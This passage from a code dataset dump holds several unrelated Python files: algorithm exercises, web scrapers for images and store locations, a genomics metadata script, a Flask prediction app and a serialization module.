Splash\")\nprint(\"\\nResultados obtidos:\")\nprint(\"Lucratividade ótima do sistema ($/ano): {:.2f}\".format(-res.fun))\nprint(\"Quantidade de água a ser desviada para o canal 1 (m**3/dia): {:.2f}\"\n .format(res.x[0]+res.x[1]))\nprint(\"Quantidade de água a ser desviada para o canal 2 (m**3/dia): {:.2f}\"\n .format(res.x[2]+res.x[3]))\nprint(\"Quantidade de água a ser desviada para o canal 1 (m**3/dia): {:.2f}\"\n .format(res.x[0]+res.x[1]))\nprint(\"Quantidade de água do canal 1 usada para eletricidade (m**3/dia): {:.2f}\"\n .format(res.x[0]))\nprint(\"Quantidade de água do canal 1 usada para irrigação (m**3/dia): {:.2f}\"\n .format(res.x[1]))\nprint(\"Quantidade de água do canal 2 usada para eletricidade (m**3/dia): {:.2f}\"\n .format(res.x[2]))\nprint(\"Quantidade de água do canal 2 usada para irrigação (m**3/dia): {:.2f}\"\n .format(res.x[3]))\n\n\n","sub_path":"capitulo_10/rio_splash.py","file_name":"rio_splash.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"82651707","text":"from base_action import BaseAction\r\nfrom friend_query import FriendQuery\r\nfrom cn.edustar.jitar.util import ParamUtil\r\nfrom java.util import HashMap\r\nfrom cn.edustar.jitar.util import FileCache\r\nfrom cn.edustar.jitar.model import SiteUrlModel\r\nfrom base_blog_page import *\r\n\r\nclass user_friendlinks(BaseAction, RequestMixiner, ResponseMixiner, PageCheckMixiner):\r\n def __init__(self):\r\n self.params = ParamUtil(request)\r\n self.userService = __jitar__.userService\r\n \r\n def execute(self):\r\n self.userName = request.getAttribute(\"UserName\") \r\n user = self.userService.getUserByLoginName(self.userName)\r\n if self.canVisitUser(user) == False:\r\n response.writer.println(u\"用户 \"+self.userName+u\"不存在 \")\r\n return\r\n fc = FileCache()\r\n content = fc.getUserFileCacheContent(self.userName, \"user_friendlinks.html\",30)\r\n if content != \"\":\r\n response.getWriter().write(content)\r\n fc = None\r\n return\r\n \r\n count = self.params.safeGetIntParam(\"count\")\r\n if count == 0:count = 10\r\n \r\n qry = FriendQuery(\"frd.userId, frd.friendId, u.trueName, u.nickName, u.loginName, u.userIcon, u.qq\")\r\n qry.userId = user.getUserId()\r\n friend_list = qry.query_map(count)\r\n templateProcessor = __spring__.getBean(\"templateProcessor\")\r\n map = HashMap()\r\n map.put(\"friend_list\", friend_list)\r\n map.put(\"UserSiteUrl\", self.getUserSiteUrl())\r\n content = templateProcessor.processTemplate(map, \"/WEB-INF/user/default/user_friendlinks.ftl\", \"utf-8\")\r\n fc.writeUserFileCacheContent(self.userName, \"user_friendlinks.html\",content) \r\n response.getWriter().write(content)\r\n fc = None\r\n \r\n def getUserSiteUrl(self):\r\n siteUrl = SiteUrlModel.getSiteUrl()\r\n userSiteUrl = request.getSession().getServletContext().getInitParameter(\"userUrlPattern\");\r\n if userSiteUrl == None or userSiteUrl == \"\":\r\n userSiteUrl = siteUrl + \"u/\" + self.userName + \"/\"\r\n else:\r\n userSiteUrl = userSiteUrl.replace(\"{loginName}\", self.userName) \r\n return userSiteUrl","sub_path":"WebContent/WEB-INF/program/blog/user_friendlinks.py","file_name":"user_friendlinks.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"165998015","text":"# Runtime 36 ms\n# Beats 92%\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nclass Solution:\n def findSecondMinimumValue(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n # BFS\n q = [root] if root else []\n rst = float('inf')\n \n while (q):\n for node in q:\n rst = node.val if root.val < node.val < rst else rst\n q = [child for node in q for child in (node.left, node.right) if child]\n \n return -1 if rst == float('inf') else rst\n\n\n# Runtime 36 ms\n# Beats 92%\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nclass Solution:\n \n rst = float('inf')\n \n def findSecondMinimumValue(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n # DFS\n def dfs(node):\n if not node:\n return\n \n if root.val < node.val < self.rst:\n self.rst = node.val\n elif root.val == node.val:\n dfs(node.left)\n dfs(node.right)\n \n dfs(root)\n return -1 if self.rst == float('inf') else self.rst\n","sub_path":"671-Second-Minimum-Node-In-a-Binary-Tree/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"291818847","text":"# -*- coding: utf-8 -*-\n# 后续遍历二叉树 post order\n\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n\n def postorderTraversal(self, root):\n result = []\n return self.func(root, result)\n\n def func(self, root, result):\n if root:\n if root.left != None:\n self.func(root.left, result)\n if root.right != None:\n self.func(root.right, result)\n\n # append integer\n result.append(root.val)\n return result","sub_path":"python/Binary Tree Postorder Traversal /solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"198411380","text":"\nclass KnightsTour:\n\n def __init__(self, board_size):\n self.board_size = board_size\n # possible horizontal components of the moves\n self.x_moves = [2, 1, -1, -2, -2, -1, 1, 2]\n self.y_moves = [1, 2, 2, 1, -1, -2, -2, -1]\n self.solution_matrix = [[-1 for _ in range(self.board_size)] for _ in range(self.board_size)]\n\n def solve_problem(self):\n\n # we start with the top left cell\n self.solution_matrix[0][0] = 0\n\n # first parameter is the counter\n # the second and third parameter is the location (0, 0)\n if self.solve(1, 0, 0):\n self.print_solution()\n else:\n print('There is no feasible solution...')\n\n def solve(self, step_counter, x, y):\n\n # base case\n if step_counter == self.board_size * self.board_size:\n return True\n\n # we have to consider all the possible moves and find the valid one\n for move_index in range(len(self.x_moves)):\n\n next_x = x + self.x_moves[move_index]\n next_y = y + self.y_moves[move_index]\n\n if self.is_valid_move(next_x, next_y):\n # it is a valid step so we can update the solution_matrix\n self.solution_matrix[next_x][next_y] = step_counter\n\n if self.solve(step_counter+1, next_x, next_y):\n return True\n\n # BACKTRACK AS USUAL - we have to remove the step and\n # reinitialize the solution_matrix with -1\n self.solution_matrix[next_x][next_y] = -1\n\n return False\n\n def is_valid_move(self, x, y):\n\n # that the knight will not step outside the chessboard\n # the knight leaves the board horizontally\n if x < 0 or x >= self.board_size:\n return False\n\n # the knight leaves the board vertically\n if y < 0 or y >= self.board_size:\n return False\n\n # maybe we have already visited that given cell\n # which means that the value is not -1\n if self.solution_matrix[x][y] > -1:\n return False\n\n return True\n\n def print_solution(self):\n for i in range(self.board_size):\n for j in range(self.board_size):\n print(self.solution_matrix[i][j], end=' ')\n print('\\n')\n\n\nif __name__ == '__main__':\n\n # for small values 002_backtracking is fast\n tour = KnightsTour(8)\n tour.solve_problem()\n","sub_path":"Recursion, Backtracking and Dynamic Programming in Python/src/Section 5 Backtracking/KnightsTour.py","file_name":"KnightsTour.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"496305881","text":"#https://leetcode.com/explore/featured/card/30-day-leetcoding-challenge/528/week-1/3289/\n\n\narr=[1,1,2,2]\nn=len(arr)\narr.sort()\ni=0\nc=0\nwhile(i 2:\n raise ValueError(\"_unpack_bits: input array cannot have more than 2 dimensions, got {}\".format(len(a.shape)))\n\n a = np.clip(a, 0, 2 ** nbits - 1)\n if nbits == 8:\n a_ = np.empty_like(a, dtype=np.uint8)\n np.rint(a, out=a_, casting='unsafe')\n rv = np.unpackbits(a_, axis=1)\n return rv\n else:\n a_ = np.empty_like(a, dtype=np.uint64)\n np.rint(a, out=a_, casting='unsafe')\n F = np.frompyfunc(_as_bits, 2, 1)\n rv = np.stack(F(a_.ravel(), nbits)).reshape(a.shape[0], -1)\n return rv\n\n\nclass Preprocessor(Pipeline):\n def __init__(self, nbits):\n nbits = int(nbits)\n if not (1 <= nbits <= 64):\n raise ValueError(\"Preprocessor: nbits is out of a valid range, {} vs [1, 64]\".format(nbits))\n self.nbits = nbits\n super(type(self), self).__init__(steps=[\n ('scaler', MinMaxScaler(feature_range=(0, 2 ** nbits - 1))),\n ('unpacker', FunctionTransformer(_unpack_bits, validate=False, kw_args={'nbits': nbits})),\n ])\n pass\n\n\ndef main():\n\n digits = load_digits()\n X, y = digits.data, digits.target\n\n pre = Preprocessor(nbits=3)\n X = pre.fit_transform(X)\n\n kf = StratifiedKFold(n_splits=5, random_state=1, shuffle=True)\n\n for ix, (_, test) in enumerate(kf.split(X, y)):\n X_test, y_test = X[test], y[test]\n df = np.hstack([y_test[:, None], X_test])\n np.savetxt('digits_{}.txt'.format(ix + 1), df, fmt='%u')\n\n pass\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"libtsetlini/lib/examples/mnist-digits/src/make_data.py","file_name":"make_data.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"599365851","text":"#!/Users/Home/AppData/Local/Programs/Python/Python36-32/python\n# -*- coding: UTF-8 -*-\n\n# enable debugging\nimport cgitb\ncgitb.enable()\nprint (\"Content-Type: text/html\\n\")\n\n\nimport cgi\nform = cgi.FieldStorage()\nw = form[\"W\"].value\nX = form[\"X\"].value\ny = form[\"Y\"].value\nalpha = form[\"A\"].value\n\n\nfrom functions import *\n\n# INPUT DATA\n#X = np.array([0, 1, 2, 3, 4, 5])\nX = X.split(\",\")\nX = [float(number) for number in X]\nX = np.asarray(X)\n# OUTPUT DATA\n#y = np.array([4, 7, 10, 13, 16, 19])\ny = y.split(\",\")\ny = [float(number) for number in y]\ny = np.asarray(y)\n\n# WEIGHTS\nw = w.split(\",\")\nw = [float(number) for number in w]\nw = np.asarray(w)\n\n# Add bias term\nbias = np.ones(X.shape[0])\nX = np.array([bias, X])\nX = X.transpose()\n\n# Define learning rate\nalpha = float(alpha)\nw = descent(X, y, w, alpha)\n\n\nf_values = np.dot(X,w)\nprint(f_values[0], \",\", f_values[len(f_values)-1],\":\")\nprint (w[0],\",\", w[1],\":\")\nprint(error_function(y, f_values))\n\n#cycle(X, y, min_delta=0, max_iteration=500, alpha=0.005)\n","sub_path":"pyfolder/LinearRegression/gradientdescent.py","file_name":"gradientdescent.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"184366324","text":"\nimport hashlib\nimport uuid\nimport os\nimport time\nfrom flask import current_app, redirect, url_for\n\nbuild_key = lambda key, *args, **kwargs: (\n key.format(current_app.config['KEY_PREFIX'], *args, **kwargs)\n)\nto_index = lambda: redirect(url_for('index'))\nuid = lambda: hashlib.sha1(uuid.uuid4().bytes).hexdigest()[:16]\n\ndef secure_filename(file):\n file = file.replace('/', '').replace('\\\\', '')\n pre, suffix = os.path.splitext(file)\n name = hashlib.md5(b'omserver' + str(time.time()).encode('utf8')).hexdigest()[:15]\n if suffix is '':\n return name + pre\n\n return name + pre.replace('.', '') + suffix\n","sub_path":"OMServerApp/utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"175708802","text":"N = int(input())\n\nnumbers = []\n\nfor _ in range(N):\n numbers.append(int(input()))\n\n# Bubble Sort\nfor i in range(len(numbers)):\n for j in range(len(numbers)):\n if numbers[i] < numbers[j]:\n numbers[i], numbers[j] = numbers[j], numbers[i]\n\n# for n in numbers:\n# print(n)\n#\n# N = int(input())\n# nums = []\n#\n# for _ in range(N):\n# nums.append(int(input()))\n#\n# # Insert Sort\n# for i in range(1, len(nums)):\n# while (i > 0) & (nums[i] < nums[i - 1]):\n# nums[i], nums[i - 1] = nums[i - 1], nums[i]\n#\n# i -= 1\n#\n# for n in nums:\n# print(n)","sub_path":"17.버블퀵정렬/2750_수정렬.py","file_name":"2750_수정렬.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"567474598","text":"class basic():\n def __init__(self):\n self.level = 1\n self.str = 5\n self.int = 5\n self.luk = 5\n self.dex = 5\n self.st_point = 0\n self.exp = 0\n\n def attack(self):\n print(\"공격!\")\n self.exp = self.exp + 50\n self.levelup()\n\n def levelup(self):\n if self.exp >= 100:\n print(\"레벨업!!\")\n self.st_point = self.st_point + 3\n self.level = self.level + 1\n self.exp = 0\n\n def str_up(self):\n if self.st_point < 1:\n print(\"남은 스텟포인트가 존재 하지 않습니다.\")\n return False\n\n self.str = self.str + 1\n self.st_point = self.st_point - 1\n\nclass magician(basic):\n def attack(self):\n print(\"공격!\")\n self.exp = self.exp + 20\n self.levelup()\n\nchar1 = magician()\nprint(char1.exp)\nchar1.attack()\nprint(char1.exp)","sub_path":"week3/class_test.py","file_name":"class_test.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"477469915","text":"import pygame\nimport socket\nfrom client.clientNetwork import Client\n\nClientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)\nhostName = socket.gethostname()\nport = 12345\n\nclientObject = Client(hostName, port)\nprint(clientObject.get())\nprint(clientObject.get())\nclientObject.send(\"testing123\")\n\n","sub_path":"client/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"447735268","text":"#!/usr/bin/env python\nfrom __future__ import division, with_statement\n\n\"\"\"\n_close_data: DESCRIPTION\n\"\"\"\n\n__version__ = \"$Revision: 3639 $\"\n\n# Copyright 2008-2010 Michael M. Hoffman \n\nimport sys\n\nfrom numpy import (amin, amax, array, diff, hstack, isfinite,\n NINF, PINF, square)\nfrom tables import NoSuchNodeError\n\nfrom . import Genome\nfrom ._load_seq import MIN_GAP_LEN\nfrom ._util import fill_array, init_num_obs, new_extrema\n\ndef update_extrema(func, extrema, data, col_index):\n extrema[col_index] = new_extrema(func, data, extrema[col_index])\n\ndef find_chunks(mask_rows_any_present):\n \"\"\"\n find chunks that have less than MIN_GAP_LEN missing data\n gaps in a row\n \"\"\"\n # defaults\n starts = array([0])\n ends = array([mask_rows_any_present.shape[0]])\n\n # get all of the indices where there is any data\n indices_present = mask_rows_any_present.nonzero()[0]\n\n if len(indices_present):\n # make a mask of whether the difference from one index to the\n # next is >= MIN_GAP_LEN\n diffs_signif = diff(indices_present) >= MIN_GAP_LEN\n\n # convert the mask back to indices of the original indices\n # these are the indices immediately before a big gap\n indices_signif = diffs_signif.nonzero()[0]\n\n if len(indices_signif):\n # start with the indices immediately after a big gap\n starts = indices_present[hstack([0, indices_signif+1])]\n\n # end with indices immediately before a big gap\n ends_inclusive = indices_present[hstack([indices_signif, -1])]\n\n # add 1 to ends because we want slice(start, end) to\n # include the last_index; convert from inclusive (closed)\n # to exclusive (half-open) coordinates, as Python needs\n ends = ends_inclusive + 1\n\n return starts, ends\n\ndef write_metadata(chromosome, verbose=False):\n if verbose:\n print >>sys.stderr, \"writing metadata for %s\" % chromosome\n\n if chromosome.num_tracks_continuous == 0:\n chromosome.attrs.dirty = False\n return\n\n h5file = chromosome.h5file\n tracknames = chromosome.tracknames_continuous\n\n num_obs = len(tracknames)\n row_shape = (num_obs,)\n mins = fill_array(PINF, row_shape)\n maxs = fill_array(NINF, row_shape)\n sums = fill_array(0.0, row_shape)\n sums_squares = fill_array(0.0, row_shape)\n num_datapoints = fill_array(0, row_shape)\n\n for supercontig in chromosome:\n if verbose:\n print >>sys.stderr, \" scanning %s\" % supercontig\n\n try:\n continuous = supercontig.continuous\n except NoSuchNodeError:\n raise NoSuchNodeError(\"Supercontig found missing continuous\")\n\n # only runs when assertions checked\n if __debug__:\n init_num_obs(num_obs, continuous) # for the assertion\n\n mask_rows_any_present = fill_array(False, continuous.shape[0])\n\n # doing this column by column greatly reduces the memory\n # footprint when you have large numbers of tracks. It also\n # simplifies the logic for the summary stats, since you don't\n # have to change the mask value for every operation, like in\n # revisions <= r243\n for col_index, trackname in enumerate(tracknames):\n if verbose:\n print >>sys.stderr, \" %s\" % trackname\n\n ## read data\n col = continuous[:, col_index]\n\n mask_present = isfinite(col)\n mask_rows_any_present[mask_present] = True\n col_finite = col[mask_present]\n del col # col not needed anymore (optimization)\n\n num_datapoints_col = len(col_finite)\n if num_datapoints_col:\n update_extrema(amin, mins, col_finite, col_index)\n update_extrema(amax, maxs, col_finite, col_index)\n\n sums[col_index] += col_finite.sum(0)\n sums_squares[col_index] += square(col_finite).sum(0)\n num_datapoints[col_index] += num_datapoints_col\n\n supercontig_attrs = supercontig.attrs\n\n starts, ends = find_chunks(mask_rows_any_present)\n supercontig_attrs.chunk_starts = starts\n supercontig_attrs.chunk_ends = ends\n\n chromosome_attrs = chromosome.attrs\n chromosome_attrs.mins = mins\n chromosome_attrs.maxs = maxs\n chromosome_attrs.sums = sums\n chromosome_attrs.sums_squares = sums_squares\n chromosome_attrs.num_datapoints = num_datapoints\n chromosome_attrs.dirty = False\n\ndef close_data(gdfilename, verbose=False):\n with Genome(gdfilename, mode=\"r+\") as genome:\n for chromosome in genome:\n if chromosome.attrs.dirty:\n write_metadata(chromosome, verbose=verbose)\n\ndef parse_options(args):\n from optparse import OptionParser\n\n usage = \"%prog [OPTION]... GENOMEDATAFILE\"\n version = \"%%prog %s\" % __version__\n description = (\"Compute summary statistics for data in Genomedata archive\"\n \" and ready for accessing.\")\n parser = OptionParser(usage=usage, version=version,\n description=description)\n\n parser.add_option(\"-v\", \"--verbose\", dest=\"verbose\",\n default=False, action=\"store_true\",\n help=\"Print status updates and diagnostic messages\")\n\n options, args = parser.parse_args(args)\n\n if not len(args) == 1:\n parser.error(\"Inappropriate number of arguments\")\n\n return options, args\n\ndef main(args=sys.argv[1:]):\n options, args = parse_options(args)\n gdfilename = args[0]\n kwargs = {\"verbose\": options.verbose}\n return close_data(gdfilename, **kwargs)\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"_close_data.py","file_name":"_close_data.py","file_ext":"py","file_size_in_byte":5715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"574028928","text":"from __future__ import unicode_literals\nimport scrapy\nimport json\nimport os\nfrom scrapy.spiders import Spider\nfrom scrapy.http import FormRequest\nfrom scrapy.http import Request\nfrom chainxy.items import ChainItem\nfrom lxml import etree\nfrom selenium import webdriver\nfrom lxml import html\nimport usaddress\nimport pdb\nimport tokenize\nimport token\nfrom StringIO import StringIO\n\nclass mycricket(scrapy.Spider):\n\tname = 'mycricket'\n\tdomain = ''\n\thistory = []\n\n\tdef __init__(self, *args, **kwargs):\n\t\tscript_dir = os.path.dirname(__file__)\n\t\tfile_path = script_dir + '/geo/US_Cities.json'\n\t\twith open(file_path) as data_file: \n\t\t\tself.location_list = json.load(data_file)\n\t\tfile_path = script_dir + '/geo/US_CA_States.json'\n\t\twith open(file_path) as data_file: \n\t\t\tself.US_CA_States_list = json.load(data_file)\n\n\tdef start_requests(self):\n\t\tfor location in self.location_list:\n\t\t\tinit_url = 'https://momentfeed-prod.apigee.net/api/llp/cricket.json?auth_token=IVNLPNUOBXFPALWE¢er='+str(location['latitude'])+','+str(location['longitude'])+'&coordinates='+str(location['latitude']-47.042)+','+str(location['longitude']+53.2832)+','+str(location['latitude']+27.7846)+','+str(location['longitude']-53.2832)+'&name=Cricket+Wireless+Authorized+Retailer,Cricket+Wireless+Store&page=1&pageSize=500&type=store'\n\t\t\theader = {\n\t\t\t\t\"Accept\":\"application/json, text/plain, */*\",\n\t\t\t\t\"Accept-Encoding\":\"gzip, deflate, br\"\n\t\t\t}\n\t\t\tyield scrapy.Request(url=init_url, headers=header, method='get', callback=self.body) \n\n\tdef body(self, response):\n\t\tstore_list = json.loads(response.body)\n\t\tfor store in store_list:\n\t\t\tstore = store['store_info']\n\t\t\titem = ChainItem()\n\t\t\titem['store_name'] = self.validate(store['name'])\n\t\t\titem['address'] = self.validate(store['address'])\t\t\t\t\n\t\t\titem['city'] = self.validate(store['locality'])\n\t\t\titem['state'] = self.validate(store['region'])\n\t\t\titem['zip_code'] = self.validate(store['postcode'])\n\t\t\titem['country'] = self.validate(store['country'])\n\t\t\titem['phone_number'] = self.validate(store['phone'])\n\t\t\titem['latitude'] = self.validate(store['latitude'])\n\t\t\titem['longitude'] = self.validate(store['longitude'])\n\t\t\tif item['address']+item['phone_number'] not in self.history:\n\t\t\t\tself.history.append(item['address']+item['phone_number'])\n\t\t\t\tyield item\t\n\n\tdef validate(self, item):\n\t\ttry:\n\t\t\treturn item.strip()\n\t\texcept:\n\t\t\treturn ''\n\n\tdef eliminate_space(self, items):\n\t\ttmp = []\n\t\tfor item in items:\n\t\t\tif self.validate(item) != '':\n\t\t\t\ttmp.append(self.validate(item))\n\t\treturn tmp\n","sub_path":"step3/chainxy/spiders/mycricket.py","file_name":"mycricket.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"317912113","text":"from flask import Flask,render_template,request,jsonify\nimport numpy as np\nimport pickle\n\napp = Flask(__name__)\nmodel = pickle.load(open('model5.pkl','rb'))\n\n@app.route('/', methods=['GET', 'POST']) # To render Homepage\ndef home_page():\n return render_template('index.html')\n\n\ndef agedetector(age):\n if age >=0 and age <=17:\n return 1\n elif age >=18 and age <=29:\n return 2\n elif age >=30 and age <=49:\n return 3\n elif age >=50 and age <=69:\n return 4\n else:\n return 5 \n\n\ndef disease_predictor(disease):\n if disease == 'Short gestation; low birth weight; and fetal growth retardation':\n return 5\n elif disease == 'Respiratory distress syndrome':\n return 4\n elif disease == 'Tuberculosis':\n return 3\n elif disease == 'Leukemias':\n return 2\n else:\n return 1\n\ndef genderPredictor(Gender):\n if Gender == 'Female':\n return [1,0,0]\n elif Gender == 'Male':\n return [0,1,0]\n else:\n return [0,0,1]\n\n\ndef zipvalueestimator(Zip):\n if Zip == '100': \n return 74696.827231\n elif Zip == '101':\n return 84605.396971 \n elif Zip == '103':\n return 69452.579158\n else:\n return 34690.563752\n \n\n\n\n\n\n\n\n\n@app.route('/lengthofstay', methods=['POST']) # This will be called from UI\ndef math_operation():\n if (request.method=='POST'):\n try:\n\n\n \n charges=(request.form['charges'])\n Illness_code =request.form['Illness_code']\n Mortality =request.form['Mortality']\n Age = int(request.form['Age'])\n Zip = str(request.form['Zip'])\n Disease = str(request.form['Disease'])\n Gender =str(request.form['Gender'])\n\n Age = agedetector(Age)\n zip_value = zipvalueestimator(Zip)\n Disease = disease_predictor(Disease)\n Gender = genderPredictor(Gender)\n\n int_features = []\n int_features.append(int(charges))\n int_features.append(int(Illness_code))\n int_features.append(int(Mortality))\n int_features.append(Age)\n int_features.append(zip_value)\n int_features.append(Disease)\n # int_features.extend(Gender)\n\n print(int_features)\n\n \n\n final_features = [np.array(int_features)]\n\n \n\n\n\n prediction = int(model.predict(final_features))\n\n return render_template('results.html',result=prediction) \n except:\n\n return render_template('index.html')\n\n\n\nif __name__ == '__main__':\n app.run(debug=True) ","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"476750673","text":"import requests\nimport logging\nfrom db import SQLHelper\nfrom lxml import etree\nimport os\nfrom concurrent.futures import ThreadPoolExecutor\nimport time\n\n# logger = logging.getLogger('kaka')\n# logger.addHandler()\nstart_url = 'http://md.itlun.cn/a/new/list_11_%s.html'\n\n\ndef get_page_content(page_url):\n _response = requests.get(page_url)\n if _response.status_code == 200:\n return _response.content\n return None\n\n\ndef parse_content(text) -> list:\n doc = etree.HTML(text)\n images = doc.xpath('//*[@id=\"content_left\"]/div/ul/li/a/img/@src')\n titles = doc.xpath('//*[@id=\"content_left\"]/div/ul/li/a/span/text()')\n if len(images) != len(titles):\n return []\n types = ['zb' for i in range(20)]\n return [item for item in zip(images, titles, types)]\n\n\ndef save_to_database(data: list):\n insert_sql = 'INSERT INTO images (url,title,type) VALUES (%s,%s,%s)'\n SQLHelper.execute(insert_sql, data, True)\n\n\ndef start(page):\n url = start_url % page\n content = get_page_content(url)\n data = parse_content(content)\n if len(data) == 0:\n return\n save_to_database(data)\n print(url, '写入数据完成')\n\n\ndef main():\n executor = ThreadPoolExecutor(5)\n for index in range(1, 50):\n try:\n executor.submit(start, index)\n except Exception as e:\n print(e)\n continue\n executor.shutdown()\n\n\nif __name__ == '__main__':\n start_time = time.time()\n main()\n end_time = time.time()\n print('总共用时%s秒' % int(end_time - start_time))\n","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"533010020","text":"# Copyright 1999-2021 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport weakref\nfrom collections import OrderedDict\nfrom functools import partial\nfrom typing import Any, Dict, List, Type, Tuple\n\nimport cloudpickle\n\nfrom ...core.mode import is_kernel_mode, is_build_mode\nfrom ...utils import no_default\nfrom ..core import Serializer, Placeholder, buffered\nfrom .field import Field, OneOfField\nfrom .field_type import (\n PrimitiveFieldType,\n ListType,\n TupleType,\n DictType,\n DtypeType,\n DatetimeType,\n TimedeltaType,\n TZInfoType,\n)\n\n\n_primitive_field_types = (\n PrimitiveFieldType,\n DtypeType,\n DatetimeType,\n TimedeltaType,\n TZInfoType,\n)\n\n_is_ci = (os.environ.get(\"CI\") or \"0\").lower() in (\"1\", \"true\")\n\n\ndef _is_field_primitive_compound(field: Field):\n if field.on_serialize is not None or field.on_deserialize is not None:\n return False\n\n def check_type(field_type):\n if isinstance(field_type, _primitive_field_types):\n return True\n if isinstance(field_type, (ListType, TupleType)):\n if all(\n check_type(element_type) or element_type is Ellipsis\n for element_type in field_type._field_types\n ):\n return True\n if isinstance(field_type, DictType):\n if all(\n isinstance(element_type, _primitive_field_types)\n or element_type is Ellipsis\n for element_type in (field_type.key_type, field_type.value_type)\n ):\n return True\n return False\n\n return check_type(field.field_type)\n\n\nclass SerializableMeta(type):\n def __new__(mcs, name: str, bases: Tuple[Type], properties: Dict):\n new_properties = dict()\n for base in bases:\n if hasattr(base, \"_FIELDS\"):\n new_properties.update(base._FIELDS)\n new_properties.update(properties)\n # make field order deterministic to serialize it as list instead of dict\n properties = OrderedDict()\n for k, v in sorted(new_properties.items(), key=lambda item: item[0]):\n properties[k] = v\n\n # make field order deterministic to serialize it as list instead of dict\n property_to_fields = OrderedDict()\n pickle_fields = []\n non_pickle_fields = []\n # filter out all fields\n for k, v in properties.items():\n if not isinstance(v, Field):\n continue\n\n property_to_fields[k] = v\n v._attr_name = k\n if _is_field_primitive_compound(v):\n pickle_fields.append(v)\n else:\n non_pickle_fields.append(v)\n\n properties[\"_FIELDS\"] = property_to_fields\n properties[\"_PRIMITIVE_FIELDS\"] = pickle_fields\n properties[\"_NON_PRIMITIVE_FIELDS\"] = non_pickle_fields\n slots = set(properties.pop(\"__slots__\", set()))\n if property_to_fields:\n slots.add(\"_FIELD_VALUES\")\n properties[\"__slots__\"] = tuple(slots)\n\n clz = type.__new__(mcs, name, bases, properties)\n return clz\n\n\nclass Serializable(metaclass=SerializableMeta):\n __slots__ = (\"__weakref__\",)\n\n _cache_primitive_serial = False\n\n _FIELDS: Dict[str, Field]\n _FIELD_VALUES: Dict[str, Any]\n _PRIMITIVE_FIELDS: List[str]\n _NON_PRIMITIVE_FIELDS: List[str]\n\n def __init__(self, *args, **kwargs):\n if args: # pragma: no cover\n values = dict(zip(self._FIELDS, args))\n values.update(kwargs)\n else:\n values = kwargs\n if not _is_ci or is_kernel_mode() or is_build_mode():\n self._FIELD_VALUES = values\n else:\n self._FIELD_VALUES = dict()\n for k, v in values.items():\n setattr(self, k, v)\n\n def __repr__(self):\n values = \", \".join(\n [\n \"{}={!r}\".format(slot, getattr(self, slot, None))\n for slot in self.__slots__\n ]\n )\n return \"{}({})\".format(self.__class__.__name__, values)\n\n def copy(self) -> \"Serializable\":\n copied = type(self)()\n copied._FIELD_VALUES = self._FIELD_VALUES.copy()\n return copied\n\n\n_primitive_serial_cache = weakref.WeakKeyDictionary()\n\n\nclass SerializableSerializer(Serializer):\n \"\"\"\n Leverage DictSerializer to perform serde.\n \"\"\"\n\n @classmethod\n def _get_field_values(cls, obj: Serializable, fields):\n attr_to_values = obj._FIELD_VALUES\n values = []\n for field in fields:\n attr_name = field.attr_name\n try:\n value = attr_to_values[attr_name]\n if field.on_serialize:\n value = field.on_serialize(value)\n except KeyError:\n # Most field values are not None, serialize by list is more efficient than dict.\n value = no_default\n values.append(value)\n return values\n\n @buffered\n def serial(self, obj: Serializable, context: Dict):\n if obj._cache_primitive_serial and obj in _primitive_serial_cache:\n primitive_vals = 